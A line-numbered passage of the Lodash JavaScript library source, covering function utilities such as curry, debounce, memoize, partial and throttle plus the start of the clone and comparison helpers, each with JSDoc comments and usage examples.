10249 var bitmask = WRAP_BIND_FLAG | WRAP_BIND_KEY_FLAG;
10250 if (partials.length) {
10251 var holders = replaceHolders(partials, getHolder(bindKey));
10252 bitmask |= WRAP_PARTIAL_FLAG;
10253 }
10254 return createWrap(key, bitmask, object, partials, holders);
10255 });
10256
10257 /**
10258 * Creates a function that accepts arguments of `func` and either invokes
10259 * `func` returning its result, if at least `arity` number of arguments have
10260 * been provided, or returns a function that accepts the remaining `func`
10261 * arguments, and so on. The arity of `func` may be specified if `func.length`
10262 * is not sufficient.
10263 *
10264 * The `_.curry.placeholder` value, which defaults to `_` in monolithic builds,
10265 * may be used as a placeholder for provided arguments.
10266 *
10267 * **Note:** This method doesn't set the "length" property of curried functions.
10268 *
10269 * @static
10270 * @memberOf _
10271 * @since 2.0.0
10272 * @category Function
10273 * @param {Function} func The function to curry.
10274 * @param {number} [arity=func.length] The arity of `func`.
10275 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
10276 * @returns {Function} Returns the new curried function.
10277 * @example
10278 *
10279 * var abc = function(a, b, c) {
10280 * return [a, b, c];
10281 * };
10282 *
10283 * var curried = _.curry(abc);
10284 *
10285 * curried(1)(2)(3);
10286 * // => [1, 2, 3]
10287 *
10288 * curried(1, 2)(3);
10289 * // => [1, 2, 3]
10290 *
10291 * curried(1, 2, 3);
10292 * // => [1, 2, 3]
10293 *
10294 * // Curried with placeholders.
10295 * curried(1)(_, 3)(2);
10296 * // => [1, 2, 3]
10297 */
10298 function curry(func, arity, guard) {
10299 arity = guard ? undefined : arity;
10300 var result = createWrap(func, WRAP_CURRY_FLAG, undefined, undefined, undefined, undefined, undefined, arity);
10301 result.placeholder = curry.placeholder;
10302 return result;
10303 }
10304
10305 /**
10306 * This method is like `_.curry` except that arguments are applied to `func`
10307 * in the manner of `_.partialRight` instead of `_.partial`.
10308 *
10309 * The `_.curryRight.placeholder` value, which defaults to `_` in monolithic
10310 * builds, may be used as a placeholder for provided arguments.
10311 *
10312 * **Note:** This method doesn't set the "length" property of curried functions.
10313 *
10314 * @static
10315 * @memberOf _
10316 * @since 3.0.0
10317 * @category Function
10318 * @param {Function} func The function to curry.
10319 * @param {number} [arity=func.length] The arity of `func`.
10320 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
10321 * @returns {Function} Returns the new curried function.
10322 * @example
10323 *
10324 * var abc = function(a, b, c) {
10325 * return [a, b, c];
10326 * };
10327 *
10328 * var curried = _.curryRight(abc);
10329 *
10330 * curried(3)(2)(1);
10331 * // => [1, 2, 3]
10332 *
10333 * curried(2, 3)(1);
10334 * // => [1, 2, 3]
10335 *
10336 * curried(1, 2, 3);
10337 * // => [1, 2, 3]
10338 *
10339 * // Curried with placeholders.
10340 * curried(3)(1, _)(2);
10341 * // => [1, 2, 3]
10342 */
10343 function curryRight(func, arity, guard) {
10344 arity = guard ? undefined : arity;
10345 var result = createWrap(func, WRAP_CURRY_RIGHT_FLAG, undefined, undefined, undefined, undefined, undefined, arity);
10346 result.placeholder = curryRight.placeholder;
10347 return result;
10348 }
10349
10350 /**
10351 * Creates a debounced function that delays invoking `func` until after `wait`
10352 * milliseconds have elapsed since the last time the debounced function was
10353 * invoked. The debounced function comes with a `cancel` method to cancel
10354 * delayed `func` invocations and a `flush` method to immediately invoke them.
10355 * Provide `options` to indicate whether `func` should be invoked on the
10356 * leading and/or trailing edge of the `wait` timeout. The `func` is invoked
10357 * with the last arguments provided to the debounced function. Subsequent
10358 * calls to the debounced function return the result of the last `func`
10359 * invocation.
10360 *
10361 * **Note:** If `leading` and `trailing` options are `true`, `func` is
10362 * invoked on the trailing edge of the timeout only if the debounced function
10363 * is invoked more than once during the `wait` timeout.
10364 *
10365 * If `wait` is `0` and `leading` is `false`, `func` invocation is deferred
10366 * until to the next tick, similar to `setTimeout` with a timeout of `0`.
10367 *
10368 * See [David Corbacho's article](https://css-tricks.com/debouncing-throttling-explained-examples/)
10369 * for details over the differences between `_.debounce` and `_.throttle`.
10370 *
10371 * @static
10372 * @memberOf _
10373 * @since 0.1.0
10374 * @category Function
10375 * @param {Function} func The function to debounce.
10376 * @param {number} [wait=0] The number of milliseconds to delay.
10377 * @param {Object} [options={}] The options object.
10378 * @param {boolean} [options.leading=false]
10379 * Specify invoking on the leading edge of the timeout.
10380 * @param {number} [options.maxWait]
10381 * The maximum time `func` is allowed to be delayed before it's invoked.
10382 * @param {boolean} [options.trailing=true]
10383 * Specify invoking on the trailing edge of the timeout.
10384 * @returns {Function} Returns the new debounced function.
10385 * @example
10386 *
10387 * // Avoid costly calculations while the window size is in flux.
10388 * jQuery(window).on('resize', _.debounce(calculateLayout, 150));
10389 *
10390 * // Invoke `sendMail` when clicked, debouncing subsequent calls.
10391 * jQuery(element).on('click', _.debounce(sendMail, 300, {
10392 * 'leading': true,
10393 * 'trailing': false
10394 * }));
10395 *
10396 * // Ensure `batchLog` is invoked once after 1 second of debounced calls.
10397 * var debounced = _.debounce(batchLog, 250, { 'maxWait': 1000 });
10398 * var source = new EventSource('/stream');
10399 * jQuery(source).on('message', debounced);
10400 *
10401 * // Cancel the trailing debounced invocation.
10402 * jQuery(window).on('popstate', debounced.cancel);
10403 */
10404 function debounce(func, wait, options) {
10405 var lastArgs,
10406 lastThis,
10407 maxWait,
10408 result,
10409 timerId,
10410 lastCallTime,
10411 lastInvokeTime = 0,
10412 leading = false,
10413 maxing = false,
10414 trailing = true;
10415
10416 if (typeof func != 'function') {
10417 throw new TypeError(FUNC_ERROR_TEXT);
10418 }
10419 wait = toNumber(wait) || 0;
10420 if (isObject(options)) {
10421 leading = !!options.leading;
10422 maxing = 'maxWait' in options;
10423 maxWait = maxing ? nativeMax(toNumber(options.maxWait) || 0, wait) : maxWait;
10424 trailing = 'trailing' in options ? !!options.trailing : trailing;
10425 }
10426
10427 function invokeFunc(time) {
10428 var args = lastArgs,
10429 thisArg = lastThis;
10430
10431 lastArgs = lastThis = undefined;
10432 lastInvokeTime = time;
10433 result = func.apply(thisArg, args);
10434 return result;
10435 }
10436
10437 function leadingEdge(time) {
10438 // Reset any `maxWait` timer.
10439 lastInvokeTime = time;
10440 // Start the timer for the trailing edge.
10441 timerId = setTimeout(timerExpired, wait);
10442 // Invoke the leading edge.
10443 return leading ? invokeFunc(time) : result;
10444 }
10445
10446 function remainingWait(time) {
10447 var timeSinceLastCall = time - lastCallTime,
10448 timeSinceLastInvoke = time - lastInvokeTime,
10449 timeWaiting = wait - timeSinceLastCall;
10450
10451 return maxing
10452 ? nativeMin(timeWaiting, maxWait - timeSinceLastInvoke)
10453 : timeWaiting;
10454 }
10455
10456 function shouldInvoke(time) {
10457 var timeSinceLastCall = time - lastCallTime,
10458 timeSinceLastInvoke = time - lastInvokeTime;
10459
10460 // Either this is the first call, activity has stopped and we're at the
10461 // trailing edge, the system time has gone backwards and we're treating
10462 // it as the trailing edge, or we've hit the `maxWait` limit.
10463 return (lastCallTime === undefined || (timeSinceLastCall >= wait) ||
10464 (timeSinceLastCall < 0) || (maxing && timeSinceLastInvoke >= maxWait));
10465 }
10466
10467 function timerExpired() {
10468 var time = now();
10469 if (shouldInvoke(time)) {
10470 return trailingEdge(time);
10471 }
10472 // Restart the timer.
10473 timerId = setTimeout(timerExpired, remainingWait(time));
10474 }
10475
10476 function trailingEdge(time) {
10477 timerId = undefined;
10478
10479 // Only invoke if we have `lastArgs` which means `func` has been
10480 // debounced at least once.
10481 if (trailing && lastArgs) {
10482 return invokeFunc(time);
10483 }
10484 lastArgs = lastThis = undefined;
10485 return result;
10486 }
10487
10488 function cancel() {
10489 if (timerId !== undefined) {
10490 clearTimeout(timerId);
10491 }
10492 lastInvokeTime = 0;
10493 lastArgs = lastCallTime = lastThis = timerId = undefined;
10494 }
10495
10496 function flush() {
10497 return timerId === undefined ? result : trailingEdge(now());
10498 }
10499
10500 function debounced() {
10501 var time = now(),
10502 isInvoking = shouldInvoke(time);
10503
10504 lastArgs = arguments;
10505 lastThis = this;
10506 lastCallTime = time;
10507
10508 if (isInvoking) {
10509 if (timerId === undefined) {
10510 return leadingEdge(lastCallTime);
10511 }
10512 if (maxing) {
10513 // Handle invocations in a tight loop.
10514 clearTimeout(timerId);
10515 timerId = setTimeout(timerExpired, wait);
10516 return invokeFunc(lastCallTime);
10517 }
10518 }
10519 if (timerId === undefined) {
10520 timerId = setTimeout(timerExpired, wait);
10521 }
10522 return result;
10523 }
10524 debounced.cancel = cancel;
10525 debounced.flush = flush;
10526 return debounced;
10527 }
10528
10529 /**
10530 * Defers invoking the `func` until the current call stack has cleared. Any
10531 * additional arguments are provided to `func` when it's invoked.
10532 *
10533 * @static
10534 * @memberOf _
10535 * @since 0.1.0
10536 * @category Function
10537 * @param {Function} func The function to defer.
10538 * @param {...*} [args] The arguments to invoke `func` with.
10539 * @returns {number} Returns the timer id.
10540 * @example
10541 *
10542 * _.defer(function(text) {
10543 * console.log(text);
10544 * }, 'deferred');
10545 * // => Logs 'deferred' after one millisecond.
10546 */
10547 var defer = baseRest(function(func, args) {
10548 return baseDelay(func, 1, args);
10549 });
10550
10551 /**
10552 * Invokes `func` after `wait` milliseconds. Any additional arguments are
10553 * provided to `func` when it's invoked.
10554 *
10555 * @static
10556 * @memberOf _
10557 * @since 0.1.0
10558 * @category Function
10559 * @param {Function} func The function to delay.
10560 * @param {number} wait The number of milliseconds to delay invocation.
10561 * @param {...*} [args] The arguments to invoke `func` with.
10562 * @returns {number} Returns the timer id.
10563 * @example
10564 *
10565 * _.delay(function(text) {
10566 * console.log(text);
10567 * }, 1000, 'later');
10568 * // => Logs 'later' after one second.
10569 */
10570 var delay = baseRest(function(func, wait, args) {
10571 return baseDelay(func, toNumber(wait) || 0, args);
10572 });
10573
10574 /**
10575 * Creates a function that invokes `func` with arguments reversed.
10576 *
10577 * @static
10578 * @memberOf _
10579 * @since 4.0.0
10580 * @category Function
10581 * @param {Function} func The function to flip arguments for.
10582 * @returns {Function} Returns the new flipped function.
10583 * @example
10584 *
10585 * var flipped = _.flip(function() {
10586 * return _.toArray(arguments);
10587 * });
10588 *
10589 * flipped('a', 'b', 'c', 'd');
10590 * // => ['d', 'c', 'b', 'a']
10591 */
10592 function flip(func) {
10593 return createWrap(func, WRAP_FLIP_FLAG);
10594 }
10595
10596 /**
10597 * Creates a function that memoizes the result of `func`. If `resolver` is
10598 * provided, it determines the cache key for storing the result based on the
10599 * arguments provided to the memoized function. By default, the first argument
10600 * provided to the memoized function is used as the map cache key. The `func`
10601 * is invoked with the `this` binding of the memoized function.
10602 *
10603 * **Note:** The cache is exposed as the `cache` property on the memoized
10604 * function. Its creation may be customized by replacing the `_.memoize.Cache`
10605 * constructor with one whose instances implement the
10606 * [`Map`](http://ecma-international.org/ecma-262/7.0/#sec-properties-of-the-map-prototype-object)
10607 * method interface of `clear`, `delete`, `get`, `has`, and `set`.
10608 *
10609 * @static
10610 * @memberOf _
10611 * @since 0.1.0
10612 * @category Function
10613 * @param {Function} func The function to have its output memoized.
10614 * @param {Function} [resolver] The function to resolve the cache key.
10615 * @returns {Function} Returns the new memoized function.
10616 * @example
10617 *
10618 * var object = { 'a': 1, 'b': 2 };
10619 * var other = { 'c': 3, 'd': 4 };
10620 *
10621 * var values = _.memoize(_.values);
10622 * values(object);
10623 * // => [1, 2]
10624 *
10625 * values(other);
10626 * // => [3, 4]
10627 *
10628 * object.a = 2;
10629 * values(object);
10630 * // => [1, 2]
10631 *
10632 * // Modify the result cache.
10633 * values.cache.set(object, ['a', 'b']);
10634 * values(object);
10635 * // => ['a', 'b']
10636 *
10637 * // Replace `_.memoize.Cache`.
10638 * _.memoize.Cache = WeakMap;
10639 */
10640 function memoize(func, resolver) {
10641 if (typeof func != 'function' || (resolver != null && typeof resolver != 'function')) {
10642 throw new TypeError(FUNC_ERROR_TEXT);
10643 }
10644 var memoized = function() {
10645 var args = arguments,
10646 key = resolver ? resolver.apply(this, args) : args[0],
10647 cache = memoized.cache;
10648
10649 if (cache.has(key)) {
10650 return cache.get(key);
10651 }
10652 var result = func.apply(this, args);
10653 memoized.cache = cache.set(key, result) || cache;
10654 return result;
10655 };
10656 memoized.cache = new (memoize.Cache || MapCache);
10657 return memoized;
10658 }
10659
10660 // Expose `MapCache`.
10661 memoize.Cache = MapCache;
10662
10663 /**
10664 * Creates a function that negates the result of the predicate `func`. The
10665 * `func` predicate is invoked with the `this` binding and arguments of the
10666 * created function.
10667 *
10668 * @static
10669 * @memberOf _
10670 * @since 3.0.0
10671 * @category Function
10672 * @param {Function} predicate The predicate to negate.
10673 * @returns {Function} Returns the new negated function.
10674 * @example
10675 *
10676 * function isEven(n) {
10677 * return n % 2 == 0;
10678 * }
10679 *
10680 * _.filter([1, 2, 3, 4, 5, 6], _.negate(isEven));
10681 * // => [1, 3, 5]
10682 */
10683 function negate(predicate) {
10684 if (typeof predicate != 'function') {
10685 throw new TypeError(FUNC_ERROR_TEXT);
10686 }
10687 return function() {
10688 var args = arguments;
10689 switch (args.length) {
10690 case 0: return !predicate.call(this);
10691 case 1: return !predicate.call(this, args[0]);
10692 case 2: return !predicate.call(this, args[0], args[1]);
10693 case 3: return !predicate.call(this, args[0], args[1], args[2]);
10694 }
10695 return !predicate.apply(this, args);
10696 };
10697 }
10698
10699 /**
10700 * Creates a function that is restricted to invoking `func` once. Repeat calls
10701 * to the function return the value of the first invocation. The `func` is
10702 * invoked with the `this` binding and arguments of the created function.
10703 *
10704 * @static
10705 * @memberOf _
10706 * @since 0.1.0
10707 * @category Function
10708 * @param {Function} func The function to restrict.
10709 * @returns {Function} Returns the new restricted function.
10710 * @example
10711 *
10712 * var initialize = _.once(createApplication);
10713 * initialize();
10714 * initialize();
10715 * // => `createApplication` is invoked once
10716 */
10717 function once(func) {
10718 return before(2, func);
10719 }
10720
10721 /**
10722 * Creates a function that invokes `func` with its arguments transformed.
10723 *
10724 * @static
10725 * @since 4.0.0
10726 * @memberOf _
10727 * @category Function
10728 * @param {Function} func The function to wrap.
10729 * @param {...(Function|Function[])} [transforms=[_.identity]]
10730 * The argument transforms.
10731 * @returns {Function} Returns the new function.
10732 * @example
10733 *
10734 * function doubled(n) {
10735 * return n * 2;
10736 * }
10737 *
10738 * function square(n) {
10739 * return n * n;
10740 * }
10741 *
10742 * var func = _.overArgs(function(x, y) {
10743 * return [x, y];
10744 * }, [square, doubled]);
10745 *
10746 * func(9, 3);
10747 * // => [81, 6]
10748 *
10749 * func(10, 5);
10750 * // => [100, 10]
10751 */
10752 var overArgs = castRest(function(func, transforms) {
10753 transforms = (transforms.length == 1 && isArray(transforms[0]))
10754 ? arrayMap(transforms[0], baseUnary(getIteratee()))
10755 : arrayMap(baseFlatten(transforms, 1), baseUnary(getIteratee()));
10756
10757 var funcsLength = transforms.length;
10758 return baseRest(function(args) {
10759 var index = -1,
10760 length = nativeMin(args.length, funcsLength);
10761
10762 while (++index < length) {
10763 args[index] = transforms[index].call(this, args[index]);
10764 }
10765 return apply(func, this, args);
10766 });
10767 });
10768
10769 /**
10770 * Creates a function that invokes `func` with `partials` prepended to the
10771 * arguments it receives. This method is like `_.bind` except it does **not**
10772 * alter the `this` binding.
10773 *
10774 * The `_.partial.placeholder` value, which defaults to `_` in monolithic
10775 * builds, may be used as a placeholder for partially applied arguments.
10776 *
10777 * **Note:** This method doesn't set the "length" property of partially
10778 * applied functions.
10779 *
10780 * @static
10781 * @memberOf _
10782 * @since 0.2.0
10783 * @category Function
10784 * @param {Function} func The function to partially apply arguments to.
10785 * @param {...*} [partials] The arguments to be partially applied.
10786 * @returns {Function} Returns the new partially applied function.
10787 * @example
10788 *
10789 * function greet(greeting, name) {
10790 * return greeting + ' ' + name;
10791 * }
10792 *
10793 * var sayHelloTo = _.partial(greet, 'hello');
10794 * sayHelloTo('fred');
10795 * // => 'hello fred'
10796 *
10797 * // Partially applied with placeholders.
10798 * var greetFred = _.partial(greet, _, 'fred');
10799 * greetFred('hi');
10800 * // => 'hi fred'
10801 */
10802 var partial = baseRest(function(func, partials) {
10803 var holders = replaceHolders(partials, getHolder(partial));
10804 return createWrap(func, WRAP_PARTIAL_FLAG, undefined, partials, holders);
10805 });
10806
10807 /**
10808 * This method is like `_.partial` except that partially applied arguments
10809 * are appended to the arguments it receives.
10810 *
10811 * The `_.partialRight.placeholder` value, which defaults to `_` in monolithic
10812 * builds, may be used as a placeholder for partially applied arguments.
10813 *
10814 * **Note:** This method doesn't set the "length" property of partially
10815 * applied functions.
10816 *
10817 * @static
10818 * @memberOf _
10819 * @since 1.0.0
10820 * @category Function
10821 * @param {Function} func The function to partially apply arguments to.
10822 * @param {...*} [partials] The arguments to be partially applied.
10823 * @returns {Function} Returns the new partially applied function.
10824 * @example
10825 *
10826 * function greet(greeting, name) {
10827 * return greeting + ' ' + name;
10828 * }
10829 *
10830 * var greetFred = _.partialRight(greet, 'fred');
10831 * greetFred('hi');
10832 * // => 'hi fred'
10833 *
10834 * // Partially applied with placeholders.
10835 * var sayHelloTo = _.partialRight(greet, 'hello', _);
10836 * sayHelloTo('fred');
10837 * // => 'hello fred'
10838 */
10839 var partialRight = baseRest(function(func, partials) {
10840 var holders = replaceHolders(partials, getHolder(partialRight));
10841 return createWrap(func, WRAP_PARTIAL_RIGHT_FLAG, undefined, partials, holders);
10842 });
10843
10844 /**
10845 * Creates a function that invokes `func` with arguments arranged according
10846 * to the specified `indexes` where the argument value at the first index is
10847 * provided as the first argument, the argument value at the second index is
10848 * provided as the second argument, and so on.
10849 *
10850 * @static
10851 * @memberOf _
10852 * @since 3.0.0
10853 * @category Function
10854 * @param {Function} func The function to rearrange arguments for.
10855 * @param {...(number|number[])} indexes The arranged argument indexes.
10856 * @returns {Function} Returns the new function.
10857 * @example
10858 *
10859 * var rearged = _.rearg(function(a, b, c) {
10860 * return [a, b, c];
10861 * }, [2, 0, 1]);
10862 *
10863 * rearged('b', 'c', 'a')
10864 * // => ['a', 'b', 'c']
10865 */
10866 var rearg = flatRest(function(func, indexes) {
10867 return createWrap(func, WRAP_REARG_FLAG, undefined, undefined, undefined, indexes);
10868 });
10869
10870 /**
10871 * Creates a function that invokes `func` with the `this` binding of the
10872 * created function and arguments from `start` and beyond provided as
10873 * an array.
10874 *
10875 * **Note:** This method is based on the
10876 * [rest parameter](https://mdn.io/rest_parameters).
10877 *
10878 * @static
10879 * @memberOf _
10880 * @since 4.0.0
10881 * @category Function
10882 * @param {Function} func The function to apply a rest parameter to.
10883 * @param {number} [start=func.length-1] The start position of the rest parameter.
10884 * @returns {Function} Returns the new function.
10885 * @example
10886 *
10887 * var say = _.rest(function(what, names) {
10888 * return what + ' ' + _.initial(names).join(', ') +
10889 * (_.size(names) > 1 ? ', & ' : '') + _.last(names);
10890 * });
10891 *
10892 * say('hello', 'fred', 'barney', 'pebbles');
10893 * // => 'hello fred, barney, & pebbles'
10894 */
10895 function rest(func, start) {
10896 if (typeof func != 'function') {
10897 throw new TypeError(FUNC_ERROR_TEXT);
10898 }
10899 start = start === undefined ? start : toInteger(start);
10900 return baseRest(func, start);
10901 }
10902
10903 /**
10904 * Creates a function that invokes `func` with the `this` binding of the
10905 * create function and an array of arguments much like
10906 * [`Function#apply`](http://www.ecma-international.org/ecma-262/7.0/#sec-function.prototype.apply).
10907 *
10908 * **Note:** This method is based on the
10909 * [spread operator](https://mdn.io/spread_operator).
10910 *
10911 * @static
10912 * @memberOf _
10913 * @since 3.2.0
10914 * @category Function
10915 * @param {Function} func The function to spread arguments over.
10916 * @param {number} [start=0] The start position of the spread.
10917 * @returns {Function} Returns the new function.
10918 * @example
10919 *
10920 * var say = _.spread(function(who, what) {
10921 * return who + ' says ' + what;
10922 * });
10923 *
10924 * say(['fred', 'hello']);
10925 * // => 'fred says hello'
10926 *
10927 * var numbers = Promise.all([
10928 * Promise.resolve(40),
10929 * Promise.resolve(36)
10930 * ]);
10931 *
10932 * numbers.then(_.spread(function(x, y) {
10933 * return x + y;
10934 * }));
10935 * // => a Promise of 76
10936 */
10937 function spread(func, start) {
10938 if (typeof func != 'function') {
10939 throw new TypeError(FUNC_ERROR_TEXT);
10940 }
10941 start = start == null ? 0 : nativeMax(toInteger(start), 0);
10942 return baseRest(function(args) {
10943 var array = args[start],
10944 otherArgs = castSlice(args, 0, start);
10945
10946 if (array) {
10947 arrayPush(otherArgs, array);
10948 }
10949 return apply(func, this, otherArgs);
10950 });
10951 }
10952
10953 /**
10954 * Creates a throttled function that only invokes `func` at most once per
10955 * every `wait` milliseconds. The throttled function comes with a `cancel`
10956 * method to cancel delayed `func` invocations and a `flush` method to
10957 * immediately invoke them. Provide `options` to indicate whether `func`
10958 * should be invoked on the leading and/or trailing edge of the `wait`
10959 * timeout. The `func` is invoked with the last arguments provided to the
10960 * throttled function. Subsequent calls to the throttled function return the
10961 * result of the last `func` invocation.
10962 *
10963 * **Note:** If `leading` and `trailing` options are `true`, `func` is
10964 * invoked on the trailing edge of the timeout only if the throttled function
10965 * is invoked more than once during the `wait` timeout.
10966 *
10967 * If `wait` is `0` and `leading` is `false`, `func` invocation is deferred
10968 * until to the next tick, similar to `setTimeout` with a timeout of `0`.
10969 *
10970 * See [David Corbacho's article](https://css-tricks.com/debouncing-throttling-explained-examples/)
10971 * for details over the differences between `_.throttle` and `_.debounce`.
10972 *
10973 * @static
10974 * @memberOf _
10975 * @since 0.1.0
10976 * @category Function
10977 * @param {Function} func The function to throttle.
10978 * @param {number} [wait=0] The number of milliseconds to throttle invocations to.
10979 * @param {Object} [options={}] The options object.
10980 * @param {boolean} [options.leading=true]
10981 * Specify invoking on the leading edge of the timeout.
10982 * @param {boolean} [options.trailing=true]
10983 * Specify invoking on the trailing edge of the timeout.
10984 * @returns {Function} Returns the new throttled function.
10985 * @example
10986 *
10987 * // Avoid excessively updating the position while scrolling.
10988 * jQuery(window).on('scroll', _.throttle(updatePosition, 100));
10989 *
10990 * // Invoke `renewToken` when the click event is fired, but not more than once every 5 minutes.
10991 * var throttled = _.throttle(renewToken, 300000, { 'trailing': false });
10992 * jQuery(element).on('click', throttled);
10993 *
10994 * // Cancel the trailing throttled invocation.
10995 * jQuery(window).on('popstate', throttled.cancel);
10996 */
10997 function throttle(func, wait, options) {
10998 var leading = true,
10999 trailing = true;
11000
11001 if (typeof func != 'function') {
11002 throw new TypeError(FUNC_ERROR_TEXT);
11003 }
11004 if (isObject(options)) {
11005 leading = 'leading' in options ? !!options.leading : leading;
11006 trailing = 'trailing' in options ? !!options.trailing : trailing;
11007 }
11008 return debounce(func, wait, {
11009 'leading': leading,
11010 'maxWait': wait,
11011 'trailing': trailing
11012 });
11013 }
11014
11015 /**
11016 * Creates a function that accepts up to one argument, ignoring any
11017 * additional arguments.
11018 *
11019 * @static
11020 * @memberOf _
11021 * @since 4.0.0
11022 * @category Function
11023 * @param {Function} func The function to cap arguments for.
11024 * @returns {Function} Returns the new capped function.
11025 * @example
11026 *
11027 * _.map(['6', '8', '10'], _.unary(parseInt));
11028 * // => [6, 8, 10]
11029 */
11030 function unary(func) {
11031 return ary(func, 1);
11032 }
11033
11034 /**
11035 * Creates a function that provides `value` to `wrapper` as its first
11036 * argument. Any additional arguments provided to the function are appended
11037 * to those provided to the `wrapper`. The wrapper is invoked with the `this`
11038 * binding of the created function.
11039 *
11040 * @static
11041 * @memberOf _
11042 * @since 0.1.0
11043 * @category Function
11044 * @param {*} value The value to wrap.
11045 * @param {Function} [wrapper=identity] The wrapper function.
11046 * @returns {Function} Returns the new function.
11047 * @example
11048 *
11049 * var p = _.wrap(_.escape, function(func, text) {
11050 * return '<p>' + func(text) + '</p>';
11051 * });
11052 *
11053 * p('fred, barney, & pebbles');
11054 * // => '<p>fred, barney, &amp; pebbles</p>'
11055 */
11056 function wrap(value, wrapper) {
11057 return partial(castFunction(wrapper), value);
11058 }
11059
11060 /*------------------------------------------------------------------------*/
11061
11062 /**
11063 * Casts `value` as an array if it's not one.
11064 *
11065 * @static
11066 * @memberOf _
11067 * @since 4.4.0
11068 * @category Lang
11069 * @param {*} value The value to inspect.
11070 * @returns {Array} Returns the cast array.
11071 * @example
11072 *
11073 * _.castArray(1);
11074 * // => [1]
11075 *
11076 * _.castArray({ 'a': 1 });
11077 * // => [{ 'a': 1 }]
11078 *
11079 * _.castArray('abc');
11080 * // => ['abc']
11081 *
11082 * _.castArray(null);
11083 * // => [null]
11084 *
11085 * _.castArray(undefined);
11086 * // => [undefined]
11087 *
11088 * _.castArray();
11089 * // => []
11090 *
11091 * var array = [1, 2, 3];
11092 * console.log(_.castArray(array) === array);
11093 * // => true
11094 */
11095 function castArray() {
11096 if (!arguments.length) {
11097 return [];
11098 }
11099 var value = arguments[0];
11100 return isArray(value) ? value : [value];
11101 }
11102
11103 /**
11104 * Creates a shallow clone of `value`.
11105 *
11106 * **Note:** This method is loosely based on the
11107 * [structured clone algorithm](https://mdn.io/Structured_clone_algorithm)
11108 * and supports cloning arrays, array buffers, booleans, date objects, maps,
11109 * numbers, `Object` objects, regexes, sets, strings, symbols, and typed
11110 * arrays. The own enumerable properties of `arguments` objects are cloned
11111 * as plain objects. An empty object is returned for uncloneable values such
11112 * as error objects, functions, DOM nodes, and WeakMaps.
11113 *
11114 * @static
11115 * @memberOf _
11116 * @since 0.1.0
11117 * @category Lang
11118 * @param {*} value The value to clone.
11119 * @returns {*} Returns the cloned value.
11120 * @see _.cloneDeep
11121 * @example
11122 *
11123 * var objects = [{ 'a': 1 }, { 'b': 2 }];
11124 *
11125 * var shallow = _.clone(objects);
11126 * console.log(shallow[0] === objects[0]);
11127 * // => true
11128 */
11129 function clone(value) {
11130 return baseClone(value, CLONE_SYMBOLS_FLAG);
11131 }
11132
11133 /**
11134 * This method is like `_.clone` except that it accepts `customizer` which
11135 * is invoked to produce the cloned value. If `customizer` returns `undefined`,
11136 * cloning is handled by the method instead. The `customizer` is invoked with
11137 * up to four arguments; (value [, index|key, object, stack]).
11138 *
11139 * @static
11140 * @memberOf _
11141 * @since 4.0.0
11142 * @category Lang
11143 * @param {*} value The value to clone.
11144 * @param {Function} [customizer] The function to customize cloning.
11145 * @returns {*} Returns the cloned value.
11146 * @see _.cloneDeepWith
11147 * @example
11148 *
11149 * function customizer(value) {
11150 * if (_.isElement(value)) {
11151 * return value.cloneNode(false);
11152 * }
11153 * }
11154 *
11155 * var el = _.cloneWith(document.body, customizer);
11156 *
11157 * console.log(el === document.body);
11158 * // => false
11159 * console.log(el.nodeName);
11160 * // => 'BODY'
11161 * console.log(el.childNodes.length);
11162 * // => 0
11163 */
11164 function cloneWith(value, customizer) {
11165 customizer = typeof customizer == 'function' ? customizer : undefined;
11166 return baseClone(value, CLONE_SYMBOLS_FLAG, customizer);
11167 }
11168
11169 /**
11170 * This method is like `_.clone` except that it recursively clones `value`.
11171 *
11172 * @static
11173 * @memberOf _
11174 * @since 1.0.0
11175 * @category Lang
11176 * @param {*} value The value to recursively clone.
11177 * @returns {*} Returns the deep cloned value.
11178 * @see _.clone
11179 * @example
11180 *
11181 * var objects = [{ 'a': 1 }, { 'b': 2 }];
11182 *
11183 * var deep = _.cloneDeep(objects);
11184 * console.log(deep[0] === objects[0]);
11185 * // => false
11186 */
11187 function cloneDeep(value) {
11188 return baseClone(value, CLONE_DEEP_FLAG | CLONE_SYMBOLS_FLAG);
11189 }
11190
11191 /**
11192 * This method is like `_.cloneWith` except that it recursively clones `value`.
11193 *
11194 * @static
11195 * @memberOf _
11196 * @since 4.0.0
11197 * @category Lang
11198 * @param {*} value The value to recursively clone.
11199 * @param {Function} [customizer] The function to customize cloning.
11200 * @returns {*} Returns the deep cloned value.
11201 * @see _.cloneWith
11202 * @example
11203 *
11204 * function customizer(value) {
11205 * if (_.isElement(value)) {
11206 * return value.cloneNode(true);
11207 * }
11208 * }
11209 *
11210 * var el = _.cloneDeepWith(document.body, customizer);
11211 *
11212 * console.log(el === document.body);
11213 * // => false
11214 * console.log(el.nodeName);
11215 * // => 'BODY'
11216 * console.log(el.childNodes.length);
11217 * // => 20
11218 */
11219 function cloneDeepWith(value, customizer) {
11220 customizer = typeof customizer == 'function' ? customizer : undefined;
11221 return baseClone(value, CLONE_DEEP_FLAG | CLONE_SYMBOLS_FLAG, customizer);
11222 }
11223
11224 /**
11225 * Checks if `object` conforms to `source` by invoking the predicate
11226 * properties of `source` with the corresponding property values of `object`.
11227 *
11228 * **Note:** This method is equivalent to `_.conforms` when `source` is
11229 * partially applied.
11230 *
11231 * @static
11232 * @memberOf _
11233 * @since 4.14.0
11234 * @category Lang
11235 * @param {Object} object The object to inspect.
11236 * @param {Object} source The object of property predicates to conform to.
11237 * @returns {boolean} Returns `true` if `object` conforms, else `false`.
11238 * @example
11239 *
11240 * var object = { 'a': 1, 'b': 2 };
11241 *
11242 * _.conformsTo(object, { 'b': function(n) { return n > 1; } });
11243 * // => true
11244 *
11245 * _.conformsTo(object, { 'b': function(n) { return n > 2; } });
11246 * // => false
11247 */
11248 function conformsTo(object, source) {
11249 return source == null || baseConformsTo(object, source, keys(source));
11250 }
11251
11252 /**
11253 * Performs a
11254 * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
11255 * comparison between two values to determine if they are equivalent.
11256 *
11257 * @static
11258 * @memberOf _
11259 * @since 4.0.0
11260 * @category Lang
11261 * @param {*} value The value to compare.
11262 * @param {*} other The other value to compare.
11263 * @returns {boolean} Returns `true` if the values are equivalent, else `false`.
11264 * @example
11265 *
11266 * var object = { 'a': 1 };
11267 * var other = { 'a': 1 };
11268 *
11269 * _.eq(object, object);
11270 * // => true
11271 *
11272 * _.eq(object, other);
11273 * // => false
11274 *
11275 * _.eq('a', 'a');
11276 * // => true
11277 *
11278 * _.eq('a', Object('a'));
11279 * // => false
11280 *
